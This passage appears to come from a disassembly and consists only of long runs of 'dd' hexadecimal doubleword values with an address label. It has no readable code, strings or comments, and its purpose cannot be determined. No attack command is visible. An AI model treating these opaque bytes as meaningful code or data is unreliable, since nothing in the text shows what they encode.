696A7800h dd 17965BDEh, 545A0156h, 0CEE24E9Dh, 0FBDBCC66h, 5CBE2503h dd 0AE986FDh, 7792A259h, 2B19419Ch, 0FFA99C8Fh, 5C801064h dd 0E91DA25Dh, 31A439CFh, 0EC0C5800h, 0DF186852h, 2E7BDCA0h dd 6B4CE890h, 0B9EF1830h, 9E5E61h, 3F773855h, 962B49C2h dd 0E7A46100h, 931D8929h, 5AAB2CCDh, 21791214h, 322E197Ch dd 0E1B44014h, 2F7EFB07h, 4BC06A25h, 13065487h, 0C79123h dd 0BF5C86FCh, 0FE00AAE3h, 34DEBDDFh, 121518D4h, 4007FFCFh dd 8122E7ACh, 0C000F06h, 0E8DA87EFh, 144367h, 25223C6h dd 0B5BC1FCFh, 5A88D400h, 2CEFB0F6h, 10D361EDh, 0F0898473h dd 853CBBF0h, 87C2063h, 362277B9h, 4076D740h, 0E3E5366Ah dd 20840838h, 0ABB63902h, 0C49BFDC0h, 2C553020h, 27E716F1h dd 0C3269F07h, 0D607456Ch, 9600DFFFh, 9764C4BEh, 0EDD0008h dd 71AADB76h, 0F2004D41h, 9C78C1D0h, 1CBB50EEh, 44C38F67h dd 0C8F6D6BDh, 65003764h, 3066BEE3h, 26DA77E5h, 67385CBCh dd 0C6A03053h, 7104A3D7h, 7858E6EDh, 0AE61BFC3h, 0E1570AA1h dd 800862E5h, 70AB9DCAh, 0E25C0349h, 0CF951F1Ch, 2028D932h dd 946EEB27h, 8341D700h, 2145DACDh, 8BC20056h, 0DC92BA01h dd 0B2592A18h, 747600ECh, 3077D162h, 7C90981Ah, 171B8961h dd 932BCBA0h, 0C151584Dh, 0EEA8C34Ah, 78276FD8h, 1CD8584Dh dd 8429A468h, 0B76CB300h, 3167523Ch, 5BB001E1h, 0E46259h dd 0D8655F73h, 8AF41FDh, 0B0EF5378h, 507B3E87h, 64816000h dd 0C75D007Ah, 1B5EA2ABh, 73018754h, 0F9FC109Fh, 719EF5FEh dd 74EEC0DFh, 0DBE81B1h, 0CC0CDEE4h, 0C91E7C65h, 61A867EFh dd 42C5600Fh, 453769A0h, 35C0C149h, 75452h, 0DF0AE25Ch dd 384353A4h, 0A1006BE2h, 0E61A9F75h, 22A064h, 5EDD0573h dd 59996CCCh, 0E93F83Ah, 61D2288Ch, 0BDEF4C19h, 4ECD5980h dd 0DB60903Eh, 1A1BF500h, 0E3359ED4h, 513055Ch, 8073532Eh dd 8EDD1DCh, 7826AF0Ch, 0C068B911h, 0CDE5B9D0h, 9D4C4677h dd 5C7126B8h, 1D87BC29h, 6970CDB0h, 395A9C4h, 0BAC517D5h dd 1E8E5B2h, 577F430Eh, 0A822F898h, 80210156h, 0B8D78A1Ch dd 54384214h, 0A0FC9444h, 0F3C20200h, 0FC03BFB0h, 0E31100D6h dd 9F81FA71h, 4600CA9Ch, 0DDCED928h, 0C5C2280h, 29CCD567h dd 0B5E0DF98h, 8034634Ch, 8514E357h, 0EEEC126Fh, 55704B10h dd 0F890810h, 13E1B00h, 0B2876FCFh, 0AC810BEDh, 0A83910E1h dd 0BD8C5154h, 0B271030Bh, 0E99C85A3h, 3219E844h, 60FF48B4h dd 14D539FEh, 9500F16Eh, 2248B8A7h, 10414CD2h, 0BEEF8Ah dd 0F8382808h, 34C7F3h, 86D5827Fh, 4E29CC0h, 317C7473h dd 69961813h, 0AC8EF404h, 0AB25594Fh, 1A45207h, 0F3879A0h dd 86F88ADCh, 5900086Ch, 76CCE00Bh, 0C01858F0h, 4177AE80h dd 51C0B2EFh, 6754D07Eh, 0CB0C01E6h, 41C3351Bh, 0AC66D8E0h dd 7691360h, 28F8E36Bh, 9029B4h, 7AC91D68h, 43FFCCF9h dd 56AF0A07h, 801B18E6h, 42D680Ch, 4455E8ADh, 61003560h dd 21A16F31h, 2E717B39h, 3A106E46h, 658FFD83h, 710DBD78h dd 394554FEh, 542372F1h, 3074C440h, 8A08B704h, 94EE54ACh dd 0F4A9AF74h, 48AD1029h, 4E8B0045h, 0F1E9CFA4h, 2200FF58h dd 0B4DF7D14h, 6132DB82h, 371858A2h, 1E4482Fh, 330940h dd 4BD6F983h, 4C211644h, 0CE008FE6h, 0DAA15FABh, 31D4C8B5h dd 0DF384D7Bh, 6553E428h, 389B49C0h, 3E3E3F16h, 0BA00F64Bh dd 1E765A26h, 0D160E35Bh, 3AB18F78h, 0BC872CFDh, 47644420h dd 0DBE0BEC0h, 3838123h, 15515B94h, 2CF37802h, 28F5EBC9h dd 33809FB0h, 3EAF741Dh, 776C3D73h, 5E35E49Ch, 0EC4CC069h dd 0D5682DC3h, 9C375324h, 0E08278A8h, 6C38A844h, 0DC007788h dd 0EAF96271h, 661DD566h, 3030E13Bh, 2812FE42h, 0ED1F0F23h dd 0B880C449h, 53E30A62h, 4D6CB700h, 0DEFBFF9Fh, 7A9025B2h dd 2295804h, 912E2D19h, 0F11002B8h, 2F00CA21h, 9185A89Dh dd 78488Ah, 0DD7CF7B0h, 0FB726DE1h, 0A7E40807h, 24247E79h dd 24162CD2h, 6374C003h, 0F7F22A19h, 9061D2h, 1E894DCFh dd 0C030FA18h, 0E16BC5F2h, 942CFD65h, 0A28274A3h, 89077F26h dd 77849028h, 98289662h, 19DBB101h, 0B9F629C3h, 2DE9F14Bh dd 1D74CECh, 950EB70Bh, 60D992A8h, 0FE41B088h, 8A239060h dd 0B200E046h, 6A882B29h, 5CD72ED8h, 0A100B98Bh, 2C35117h dd 0D16F93A6h, 1CF16848h, 3F3C8B76h, 0A5670380h, 20C6D293h dd 2669FDD0h, 65F01E74h, 0B85EDDh, 55CD057Ah, 35E9B527h dd 134818CCh, 241B3D01h, 37F5CDC5h, 430E6D8h, 8701A8E8h dd 0E450D0AAh, 723CFD33h, 1C2BC453h, 4291F71Dh, 3419503Ah dd 4F18107Ah, 0C0690EDAh, 733707DFh, 811D29ADh, 4A643288h dd 0C32D2028h, 88BC75B9h, 999CECF8h, 8F413A02h, 80B1D94Ah dd 5C6A9560h, 28AC6275h, 0A8729CFDh, 5CE0BF24h, 90370949h dd 1C546BC8h, 0CB8B92BCh, 5C101305h, 0E5327FA6h, 417B2879h dd 0A0481034h, 33F60BF3h, 57004A32h, 1B8DA466h, 471C7400h dd 0FD216C6h, 0FBFA0B6Eh, 0E5817388h, 0D8F25855h, 3601F306h dd 68CD6DC1h, 444091FDh, 7C797CC3h, 0E9D6090Eh, 2F09BE87h dd 9C04AC21h, 80582DB5h, 66E98C65h, 0E81159FAh, 0EAF25600h dd 93804FC2h, 45A7E98h, 9CEB6460h, 1C750438h, 0E4FFA819h dd 0F5018974h, 97C9C8DEh, 0B8CC1601h, 38601E9h, 469E43A9h dd 133AD487h, 2A5CAD00h, 235FE349h, 0C940001Ch, 2D15D717h dd 950EFE4Dh, 0A31BDAB9h, 0F48065C0h, 88B12C88h, 1400CC75h dd 5EEBD2E7h, 4C34F5B9h, 32CA4B0h, 0B52041E8h, 0D910FE5Fh dd 2754316Ah, 0E41F6D11h, 5F79EFC6h, 50DF6F00h, 7498178Ch dd 91CAB8A3h, 1ADB0C28h, 9B008A81h, 0DF2C5DC3h, 2153F0Bh dd 81254B88h, 8D20EFDh dd 0FCF8F30Ah, 4760F40Fh, 24B2FABh, 0CC9357E0h, 5C662C18h dd 7429FB62h, 3D4E607Ah, 9351010Ah, 0DCBF5F29h, 8C6239h dd 3D676A86h, 3FD576h, 5163D6E9h, 9F7F736Bh, 2CEEC300h dd 0AEA70F21h, 0E7B3009Eh, 0D8E3D7B6h, 851C93DBh, 0EC4271AFh dd 20593F18h, 63D7434Bh, 0DF0094A4h, 1994DEBCh, 0F1BEFF4Ch dd 0FD0BFC69h, 3011B392h, 5166105Dh, 7DAB3E2Ch, 63303BBEh dd 6DE46919h, 7ACE4E00h, 0B1F198E5h, 0C1D624B8h, 0FF242058h dd 475820h, 0B6D5D7C8h, 0E5447793h, 48A4C45Ch, 0AFEF86F4h dd 3C74EE31h, 0E0083ABh, 8943A38Bh, 1D0BA5ADh, 1C19A04Bh dd 5FFA00C0h, 0AB9733D6h, 1AE4B7ECh, 0C9D2DF00h, 14A8A79Dh dd 13F92E59h, 0FAF340D8h, 9CB94432h, 98385404h, 0D23048F1h dd 5A491E73h, 0E8AD72Ch, 886B7B3Ch, 0D009064h, 728BA979h dd 0F0F2C725h, 6810033Eh, 0DFF31153h, 4BB0B4A8h, 0AC910411h dd 0A7E0A200h, 0F626B397h, 10210C4Fh, 0DAE093B2h, 8638000Bh dd 0FCE743E3h, 3C0383C9h, 4D3A9A09h, 20A84E87h, 78A39D9Ch dd 460794Ch, 2CF37B6Bh, 987180CCh, 90DD488Ch, 844EC012h dd 142AACh, 7B6D88C4h, 861F2CF1h, 80305140h, 0E4094552h dd 99B6D7CEh, 0C40267A8h, 7C5C9925h, 0A0E7D009h, 3A29502Ch dd 0A8211496h, 9F826858h, 0D0C47A26h, 79704101h, 0CE196FECh dd 8C352881h, 29546E18h, 51C200A4h, 71684E60h, 0C14700F0h dd 6EA49193h, 10008EA2h, 181A137Fh, 9988FD66h, 0C8E290F0h dd 512E408Eh, 2B321973h, 0DAFF6185h, 0C12D037Ch, 57C90A2Eh dd 0BCDDB388h, 2FA4E103h, 80765FF2h, 16CEA95h, 22F991AEh dd 0F059AF6Eh, 2D005DF3h, 70E4751Bh, 19D54D5h, 4E427972h dd 0F8B9CF66h, 0EC09E9A7h, 8198F465h, 28DEF7FCh, 49F195D1h dd 0E0C0C028h, 3D92DA36h, 83B94D01h, 13F00926h, 0C800A454h dd 0AEF57DB1h, 0CD680521h, 47157365h, 4F3272A8h, 794E6302h dd 71F8C043h, 2E0E58EEh, 6301D64Fh, 0C840BDD8h, 0F973F7h dd 6CECDEB3h, 684C1795h, 4F6330Bh, 0BF18C989h, 53141473h dd 9580A470h, 0B19E1862h, 64AC0C9Ch, 6840C23Ch, 0A89C009Fh dd 525BDEC9h, 0A338EA59h, 14F80010h, 0C7297D13h, 7F20073h dd 2BB70576h, 0DB12D44Eh, 0E50938A8h, 88080432h, 14F8C8Ch dd 0D19A4043h, 31AD245Eh, 0D9882070h, 2106C3E2h, 0BBF00886h dd 91440081h, 575D6A4Ah, 8C0E59A3h, 83FC8230h, 0F1AA2038h dd 90637918h, 87E2A502h, 9CD0956Bh, 11633721h, 694C00F5h dd 48478DB7h, 0F15002Bh, 0F35CBCAFh, 0DF4D2A19h, 7F650940h dd 74546614h, 10C70B53h, 0E80674B0h, 12EA51FAh, 0C7B129C0h dd 3B38954Ch, 198C8FCDh, 5251772Ch, 0BF662A02h, 0E20E15D8h dd 0C3C4C04h, 0AA7726A6h, 65046811h, 0D2A14FE7h, 0EBA0CCh dd 21B727Ah, 4D040CFDh, 2B652600h, 0AE4EBEA8h, 0CCFE0EA6h dd 243015FFh, 6570E4E7h, 8188947Dh, 0E0DAA20Ch, 88DC2413h dd 8300F4B8h, 49426911h, 3A96A87h, 659453F5h, 39162272h dd 20923019h, 90F2FFh, 9B9286C3h, 0BA85D617h, 801E477h dd 0A21AA627h, 8470EBD7h, 0EC8A48D9h, 4A86119Eh, 0A00488h dd 41D22B3h, 0BBB303Dh, 0F367B3Ah, 3E6C03CDh, 0BE68FA02h dd 16F4C4E5h, 0D6E044h, 791E62B0h, 90005573h, 0ABC6485Dh dd 3F4221h, 0BE786832h, 1215F92Bh, 733C5F00h, 0C45D93F7h dd 21950225h, 2D34194Ah, 0E27F9491h, 9488EF25h, 6AE273h dd 71373AECh, 0FDD1CA2Fh, 0AC449A5Bh, 94A9FFCEh, 4015DA1Fh dd 4938A61Eh, 19C37627h, 0F5C667F4h, 51AF4C8h, 0DA52CF0Eh dd 0B5380833h, 0DF8A6080h, 7E890D0h, 67FB5976h, 336C0A7h dd 4B01584Ah, 9606D9D8h, 0CC7350EFh, 0BCF028h, 656CD795h dd 0FDC81D8Eh, 6B392C72h, 0F4147E4Bh, 21C8EF7Ch, 0AB9108FCh dd 5477CE84h, 0A00048E2h, 0BB174735h, 92075BC2h, 0E96A848h dd 335A2320h, 5E1800CDh, 64E6C540h, 6D73CBADh, 0A7D10960h dd 0BE30E2A3h, 4019E470h, 2217FEC1h, 9B340013h, 0EAAA6D82h dd 51011E3Ah, 90D7AE6Eh, 0D834692Fh, 435E401Bh, 0C083BC28h dd 25B69D22h, 9019E3BFh, 11EFD28h, 0D42C7865h, 0B5DAFEA0h dd 79B0DD00h, 8C4BCB6Ch, 0D9D50053h, 332F5161h, 6CFF4FADh dd 422040C8h, 9AD74D00h, 2618C3D2h, 954600BAh, 810B99ADh dd 0D41EA460h, 18BB3C54h, 57801A35h, 0C59424FDh, 92A589C4h dd 103B4041h, 0CF1CDC76h, 0DBE03861h, 751F3CABh, 1A64B900h dd 0C53EA882h, 0E973017Ch, 0BF53A015h, 0A2C2079h, 21FFA640h dd 0F20713F8h, 0AAF0C0FAh, 32B0925h, 21671A1Eh, 0CE8E552h dd 0A60290A3h, 0BF97471h, 0E424C2E0h, 0EFD507CCh, 2388255Eh dd 0E000B1CAh, 0CD813697h, 7A781458h, 5C511753h, 1170097Bh dd 509B444h, 3496334h, 0A0B415D4h, 0D4E35Fh, 9A10BB44h dd 533E7AC2h, 0CFB671Dh, 404F888Fh, 1E2DE9E6h, 3D373DE2h dd 86DE412h, 0DB96F950h, 83A81C90h, 5EC60009h, 46427E52h dd 0C30B36BFh, 252C3271h, 10CA5A38h, 283D6600h, 8CC6ED9Fh dd 0C3E27F00h, 1434C24h, 35FD01B9h, 0BC60164Dh, 7AE822EEh dd 0B200AC73h, 319EAE83h, 97DC65Eh, 5A52BADh, 801E7300h dd 27131393h, 0E021AE72h, 81965F54h, 0DC9001F1h, 5082E8D1h dd 0BA8D210Ch, 0D6330E00h, 0AB67CBBDh, 7257062h, 71730766h dd 32DF01Bh, 55057EC5h, 63D6ECCDh, 5D7A488h, 0C8DE91D9h dd 0B1A091F6h, 0DF118692h, 296253h, 7368CFFCh, 575A7881h dd 18EC510Bh, 65E44829h, 7E8B974h, 2187CC68h, 0D98969B6h dd 94402EEEh, 760EBC19h, 11A200BBh, 0EBC34036h, 0D4B664D7h dd 0A99DB641h, 1B262876h, 0C9595068h, 788F1C00h, 33BD74CEh dd 1E830B0Dh, 582A5CBEh, 76596C98h, 0A749FD0Fh, 8FDF6115h dd 36D5537Bh, 54767040h, 0F1C8B067h, 0F8D85310h, 11F76E25h dd 84076D7Ch, 4786088Ah, 39180FA5h, 0DE1E595Eh, 0FA4217EAh dd 40A86E8Ch, 0F1EEFDh, 0E2183432h, 5172FF33h, 1F44909Eh dd 3688E108h, 0FAFF8C66h, 5D050359h, 63DB664h, 9D509BC0h dd 54789EB1h, 33E1EC0Eh, 3852AAFEh, 0E2F71E84h, 1518B1C0h dd 0F8E51DC0h, 504F18B4h, 0B242D94Bh, 5C64D80Ah, 0E0894FD0h dd 6D385CD0h, 0ED557FA4h, 7AD44798h, 5E7340A0h, 9D02FF50h dd 0E90ACD11h, 0B42C6066h, 83410E1Ah, 30A05B73h, 4DE87AACh dd 2BDAC61Dh, 0ABE7FB01h, 0C0D51BA6h, 88256860h, 9527886Fh dd 78B1509Bh, 7CC0BDECh, 8000C24h, 69B29A3Ch, 1DF4A5h dd 0AE42205Dh, 0C341F74Eh, 0A4FFF0A0h, 4056781Dh, 3E538180h dd 0F0446E59h, 9FD7054Fh, 0F9AAD1Fh, 0C09DC688h, 0BC52EEAh dd 4E01CD69h, 135F7252h, 0A246814h, 4FC248D8h, 3FBFF901h dd 0F86012ECh, 0A45F754Ah, 0E71DA460h, 58421C04h, 0D4E1C179h dd 0D08C47AAh, 0F9007375h, 13F29A78h, 472F6A7h, 7603E901h dd 1E0CA82Dh, 0DBD37CAFh, 92C09CD0h, 3970050h, 0FA28C42h dd 82065BA7h, 304896B2h, 7B6809D8h, 0AC10A8E8h, 145FB4D9h dd 9E009BE8h, 72543A89h, 520EEE2Ch, 97FD1D09h, 8F47F0C0h dd 0B7D92448h, 8686428h, 60A024BCh, 592C157Fh, 5150A113h dd 14913C8Fh, 20484FE1h, 8F56A6Ch, 727B0C07h, 10285571h dd 3A5281h, 54DF1130h, 0F4907794h, 9CDBF480h, 414Ch, 32B15F67h dd 7377930Bh, 91ECB4B5h, 65CE02A9h, 803351ADh, 4BCD6888h dd 7E870055h dd 0CC67A2FFh, 80A0736Ch, 7B755FC3h, 0C1495h, 85115573h dd 0DABF175Fh, 0F00420B9h, 48F2F7E1h, 1EA87B2Ch, 969D657h dd 68D30B4Ch, 0AC251380h, 1A7938h, 0A824D137h, 0B091A61Fh dd 0B79F8A00h, 0D8334C54h, 98584A63h, 4CE1E170h, 8C90FD4Ch dd 0CAD77480h, 0DEC00600h, 296F8849h, 709D5D53h, 89AB7285h dd 0F0272A40h, 33BCE3AEh, 4524E8E3h, 0C23D00DAh, 8423C83Ah dd 87F875B7h, 6A927305h, 78CC3267h, 0C70B00E7h, 2682B315h dd 87033D63h, 907B9776h, 68EE8959h, 61C0F438h, 4F108936h dd 0A29DF012h, 48F21500h, 264F65Dh, 6094B99Bh, 88E608C5h dd 0BF80527Fh, 8BDCB9D9h, 0A80E44CCh, 0FECD8790h, 3C88211Ch dd 0B80097F3h, 19305F9Fh, 0F2054E47h, 0E1BEDF8Dh, 4C72048Ch dd 67005E6Eh, 9304F0E2h, 0BCB657F6h, 5B0138A8h, 58C6C2D9h dd 0EE0046BEh, 0F2010396h, 188EEC77h, 0A8CCFAA9h, 60535E76h dd 8C2B8080h, 50C14892h, 78A5DF46h, 13E49470h, 0F6755D8h dd 403F619Ch, 897CF33Ah, 7514F26h, 0D188C0C1h, 828608C0h dd 9F1A1893h, 0A040C012h, 6881A86Bh, 0CCC54031h, 4ACFC3Ch dd 8822924Ah, 0B0611AE5h, 5814EEC5h, 0C8823095h, 80E6E2E1h dd 0DB1866F0h, 0C30A6D2Bh, 5BB60070h, 0A2F73318h, 4209A40Dh dd 20CD28D8h, 0D4DFFCACh, 0A928A112h, 0DD2C6432h, 0B410AD54h dd 1502AD1Ch, 30BC3AF6h, 0EA4465F4h, 201C1F74h, 5E371911h dd 31776F7Ch, 3A999D80h, 472D8F46h, 878011D9h, 28480A04h dd 3C469398h, 0BD18219Ch, 99788788h, 129CB042h, 220CDCBEh dd 0D62024FCh, 7D7A68BBh, 69270021h, 0EAC2130Eh, 0DE0062B3h dd 0D9889364h, 9A45BDDBh, 0ACA26Ch, 0EC78A185h, 0E2149694h dd 0D45E5ACEh, 0B26717C0h, 0E8650075h, 9ECC0F20h, 0DB00E7DDh dd 432E62ACh, 0B690F38Fh, 0E533025Ch, 0ACE00F17h, 540E86F0h dd 0A0786F43h, 0FAE8DBD7h, 82B033Bh, 0E9B3D945h, 6C881114h dd 24884A14h, 0FB300B2Ch, 28808BF3h, 0ED49110Bh, 0FD41714h dd 46A900B4h, 0E0B3595Bh, 724F0093h, 835E89EFh, 0D848BDC5h dd 6DE0C040h, 1DF0FB04h, 1DDD787h, 0B015FEB5h, 41F461A3h dd 0FC7882D8h, 0A4098D4Eh, 77F19Fh, 73F81831h, 0E03A00FCh dd 0BC1CDFD6h, 0C309F924h, 0FB1A7165h, 0E6218FECh, 0A8423720h dd 5500A545h, 74B6ECC2h, 0E8B7B389h, 19A01250h, 48C89635h dd 0C7C00745h, 0E4D517DFh, 0CDA03061h, 0F8BB2A6Ch, 0A8333F88h dd 0AD9D22A4h, 1C402EE7h, 213A7E8Bh, 3D870038h, 41B619CFh dd 4930067Ch, 6E182067h, 84FC992Ch, 8EB19CEBh, 0F04E8960h dd 7174206Ch, 48F0A481h, 3E00E984h, 0A4D3EA0Eh, 96571AEh dd 5466EB76h, 0F9A72C10h, 11CB7F00h, 4058148h, 4B52075Ch dd 34321040h, 8254A779h, 59B518E1h, 40A51E38h, 31E44BB2h dd 9C04377Dh, 0F00BEF8Ah, 761EA200h, 2F1816B6h, 0C5106F6h dd 283125D6h, 330D1844h, 0E0FD7A4Dh, 0B02CE420h, 0CD2904BEh dd 0E31AA665h, 87EC04F4h, 64C2D7A4h, 0D9592391h, 11B27888h dd 5287F300h, 0CCB92503h, 5086E657h, 37D7086Ah, 0A22979B1h dd 0CC790EFEh, 4BC60539h, 0EC5C90DAh, 1680FC1Fh, 0B4295B89h dd 0D6B600F6h, 0F1A6E1DAh, 2E0055EDh, 6C891B4Ah, 0F0581CB3h dd 6E901201h, 4CA830CDh, 1FF2A574h, 0F8301A26h, 281E326Eh dd 5B4F0922h, 2C7993A3h, 7ABE50Bh, 825BF0FDh, 60704B4Ch dd 953738Fh, 83E44269h, 0D65E9C80h, 37009FB9h, 73604948h dd 2E1ACFBh, 234FDC7h, 0C8E0A74Eh, 0CD500C54h, 0E95CCF80h dd 71B00582h, 827AB69h, 47384099h, 6304305Eh, 779285A2h dd 0E46BBCB6h, 189038h, 2490E1E0h, 802FAA9Bh, 2C31AD2Eh dd 0B66C046Bh, 35B3D620h, 52F63302h, 4D5369EFh, 16689314h dd 0F8A3C0h, 19DED7C7h, 247177B8h, 5220A9FCh, 5D408C54h dd 1A2258Eh, 0D09F3E5Eh, 0D562062Ch, 4C33C4F7h, 0B0430412h dd 7D41E400h, 9FF7479h, 6C71272Dh, 780058F1h, 609F4A46h dd 0ABDA02E9h, 73074D49h, 0B2B83840h, 0EF3E5114h, 1F8B0070h dd 0F07DD2FBh, 6DE1109Fh, 40AF0057h, 50A568E9h, 1D5642DAh dd 202B54h, 0EDC1260Bh, 46CA2018h, 0E42EE503h, 0E0A5291Bh dd 4F264360h, 0DA2820F3h, 6907319Bh, 0CC769DC3h, 0A84A5620h dd 0E65309CBh, 58003F1Ah, 70A466A7h, 1889B100h, 171FA01Eh dd 0A8A0719h, 0B09656F8h, 0F76B884Ch, 0C95E7303h, 0E025E2D6h dd 221949E7h, 65276030h, 4D1C987Bh, 8234B0C2h, 41EC7670h dd 0F5DEE8BBh, 811869FEh, 59F873EFh, 70FB5DCCh, 2BAF0168h dd 912AA1Bh, 32FDFC86h, 0CF7F3F1Fh, 1E4E2301h, 308357ACh dd 0C0D53B97h, 8AC003E3h, 1309CEA6h, 0C8FFC360h, 366F1E8h dd 575B0390h, 9DD3E0ABh, 0D4DFF80h, 113F902h, 5C7BDFC9h dd 413F1370h, 0CC342B0Ch, 341E2BC7h, 72B6C500h, 4BFFD64h dd 0D7DD3266h, 80D0FDBAh, 0C70BD5B7h, 0AB162FA0h, 2B970890h dd 4698EF16h, 0B15424CCh, 0C2448054h, 0F93DE441h, 0C858C53Dh dd 50AC4638h, 81244B6Ch, 0AD01B440h, 0A4C37865h, 672093h dd 8D97338Ch, 0F716A776h, 2CC291CCh, 7465222Fh, 11E05488h dd 90762D5Ah, 0A04FEA20h, 0FDFEDCh, 0A37E8C0Eh, 8DB5FFCFh dd 134B9700h, 92F8D6E8h, 971C7894h, 7F8F0410h, 6E2B51Eh dd 97394501h, 8BE49AE0h, 0E1EB0905h, 0E05A6431h, 1890DB4Eh dd 0D68980h, 587C917Bh, 192C6ADFh, 96815205h, 0C0801B3Fh dd 8A8215h, 517330E2h, 19E0507Eh, 544F951Ah, 22944CC8h dd 84B5BC11h, 0AF42132Ch, 0B8847343h, 0F4040BBh, 1E25BC4Ah dd 413C0158h, 0E0297315h, 65F0704Dh, 90BF58h, 0E8B4871Dh dd 0EA668B5h, 49469DEFh, 2B8E2D2h, 0B6853505h, 0C24461BAh dd 4000282Ch, 0CD5A797Eh, 3099A77h, 720EDDBFh, 859421DCh dd 481D2B11h, 0D9F80F8h, 0AAC29AE7h, 4B80BE1Ch, 255DC400h dd 7BAA25Bh, 48221E9Bh, 8753409Dh, 0FE00F255h, 0D3E0C9D0h dd 0B4011266h, 0B83E8038h, 255C359Ah, 8F36D902h, 0D4EC4BEFh dd 81ED40A4h, 0EA0CA5DBh, 39A969CCh, 5B070BF4h, 1851F1E2h dd 0B0B1F4A8h, 3B286760h, 0FBC2002Ah, 517B30FDh, 0BE19F12Fh dd 54514EDAh, 0D2938661h, 0E09C16C5h, 0A6125210h, 900CD3Fh dd 13429D7Ch, 4DF2056Eh, 0C14B56D0h, 0E8CE6234h, 45259032h dd 4440E6E3h, 8C0038BCh, 41DBC2B0h, 0D39487h, 11AC3FFBh dd 0C0EF14FCh, 80B80499h, 0D66B0DEh, 0F7A4F33h, 613C6EE3h dd 19555FE2h, 736524E8h, 0F9450094h, 0E0DDCCE9h, 88A521D3h dd 48D3854h, 0AF8330h, 0D41CC32Fh, 4B33E547h, 0C2EB7A00h dd 0BE6AD9DFh, 502096DEh, 1A0AE849h, 945BCD78h, 7B73FF00h dd 106690Eh, 0E73275E0h, 294E41FBh, 1A2D0030h, 67861E84h dd 2CF60CF3h, 0F1118302h, 109FC4F8h, 9DA794h, 0E4EBA1ABh dd 781FD64Fh, 94D810B5h, 0C0B400E5h, 0FDBE950Eh, 5F03AB24h dd 722A8550h, 0E0168B59h, 0B5AA68ECh, 7A7B2011h, 3C735829h dd 78F3DA00h, 0C0D9F9F1h, 650E7B7Ch, 9DC347ADh, 34C5E5h dd 6E0FC4D0h, 4B00D369h, 849081FBh, 0E07FC67h, 0E3758FDCh dd 0B9043212h, 0A8B7CA20h, 396A0078h, 5C5251FDh, 0D9048CE3h dd 3BF3AC90h, 1369D380h, 0FF450078h, 66CBE1BFh, 50000FFCh dd 73902FC7h, 16F9747h, 192D1CF7h, 0DC52A0DFh, 0C5165E1Ah dd 0C01E93Fh, 898B22C8h, 79BAC4Ch, 75EA4EA2h, 0CD93E0E0h dd 0A890C726h, 48F1444h dd 0E1B734Eh, 1CC4C2CFh, 8A5E2910h, 6913C8Eh, 0B18944B7h dd 8544B08h, 77426450h, 318B2F12h, 0FC76204Ah, 83F0C110h dd 0A7073923h, 3230FA3Ch, 0B24B7950h, 81EA4859h, 900EFE13h dd 0D3FA73B4h, 15894500h, 52721CADh, 0C611CBD4h, 3A7768C4h dd 8D5E2B00h, 51FBF4BBh, 0C8624CE6h, 9CC4DF81h, 38236EB9h dd 1A391CF6h, 0A500BE7h, 510068F1h, 0DD42D99Ch, 0CB805FEh dd 0B82B63D6h, 0E1BD8704h, 207CD909h, 0DCBF371Ch, 9A0CF71h dd 14797C98h, 2DC38A5Ch, 0F6BC4416h, 0E464CE7h, 82BAF20Eh dd 0B27DC09Ch, 2A19B192h, 1002B4Dh, 0BF5E2F4Eh, 434FADAh dd 6ACB05F0h, 0A2757827h, 4C660544h, 4CAD5467h, 0BC807F3Ch dd 86476FB9h, 69FC6CC4h, 0F57BCF00h, 524E7119h, 487262CCh dd 0EF05ABC9h, 0FEC36400h, 7DD6FD7Dh, 0ADCB1635h, 0CC140B3Ch dd 0A5655448h, 0EF344F09h, 0D6981852h, 3B630076h, 1AA46ED2h dd 0FD0124F1h, 0ED44E072h, 0DB2918h, 0F27A76A1h, 389F82Ch dd 53A48803h, 6673E70h, 18343520h, 0ADF0E14Eh, 15794900h dd 0D7554FC3h, 13480B17h, 5064C7F1h, 0BCDBF244h, 1DE3ACF0h dd 5B32C040h, 0A6793E35h, 0D1C73100h, 9B3B1B9Ah, 811EB8DDh dd 6511A0B8h, 234C7371h, 90032F35h, 0D9F98F45h, 0FF8708B5h dd 30888038h, 6FEB5204h, 5C338CC8h, 1AC8385Ch, 0BE802D80h dd 0F68825F1h, 0CE6A01C9h, 53BF481Bh, 4F919DC6h, 1987B0A9h dd 0B180EB76h, 5DC884h, 6785A35Eh, 0F0531F9Ch, 88FC20B7h dd 6A71B4h, 28217EEEh, 3FBBCB55h, 431D3402h, 76E4BE69h dd 219C4464h, 0F5E86CCDh, 57A6029Dh, 1EA74F87h, 0BED701E0h dd 0CEDBC900h, 197801FAh, 2D120ED6h, 6FE0D44Eh, 0BFF81BD7h dd 20DA5225h, 0FEE45414h, 5F2002Ch, 0EF53994h, 0AFE65538h dd 3BD8711Dh, 99C0D95h, 724B464Eh, 0DFFE01F4h, 706C8EDCh dd 54804C4Fh, 0FCFA8604h, 788155A4h, 0A4709D21h, 0BF58403Bh dd 9DB0DB58h, 0A891D58h, 6E930023h, 4F4294E5h, 6D0FE10Eh dd 60A9995Ch, 0EEA66A38h, 0D8012472h, 354D0EFDh, 88CC8082h dd 0CE14DC40h, 4980B099h, 5DCACF7Ch, 0F8E6048Bh, 0F455941Bh dd 1200D4ACh, 0E327C9C6h, 0E49A8F09h, 0FD2F128Eh, 0C02CF4DAh dd 4DF17400h, 96B6D843h, 0E44A029Eh, 75AAA297h, 5E93F884h dd 0C71C1040h, 7340FCh, 78915F4Fh, 3414F77Bh, 0A5D48E13h dd 55C59000h, 389CE987h, 885E4D47h, 60012644h, 0C965A95Bh dd 0E8EC1A68h, 4ACE7E33h, 780C8B7h, 71F70D1Fh, 596E1C0h dd 0E15476CDh, 7977D0h, 43EC09Bh, 0BBDCA213h, 3744E490h dd 987C4865h, 84C93FC8h, 15E5C08h, 0DFCC6E44h, 844B3BA7h dd 4C858FFh, 72F933D8h, 0F8193147h, 8A7F1C08h, 5788541Fh dd 68F07380h, 97D27C0Ah, 0F3CEE880h, 10059A2h, 0CBDD947h dd 9061BC92h, 335A05CCh, 0C1DFB4D1h, 7CD6BE16h, 0CE5480A4h dd 912BD11h, 8FFD3786h, 70F84010h, 10685325h, 0A86288h dd 1D5DE7CBh, 0A4427ED8h, 58E8C87Bh, 0BD3B5607h, 0E381D361h dd 70F5460Fh, 6800AC21h, 0BEBF22Eh, 14E7D566h, 540B242Bh dd 0E2818CD9h, 4A5A3271h, 8382C43Fh, 2109EEB8h, 0D17326A6h dd 66044E14h, 0D09E87C1h, 75112FECh, 0C412300h, 0FB9B4204h dd 557C0069h, 9050F236h, 18BD727Ah, 3868A6F4h, 20A49FA3h dd 0D8813930h, 218E06B3h, 0C8D1FA4Ah, 0A70F1500h, 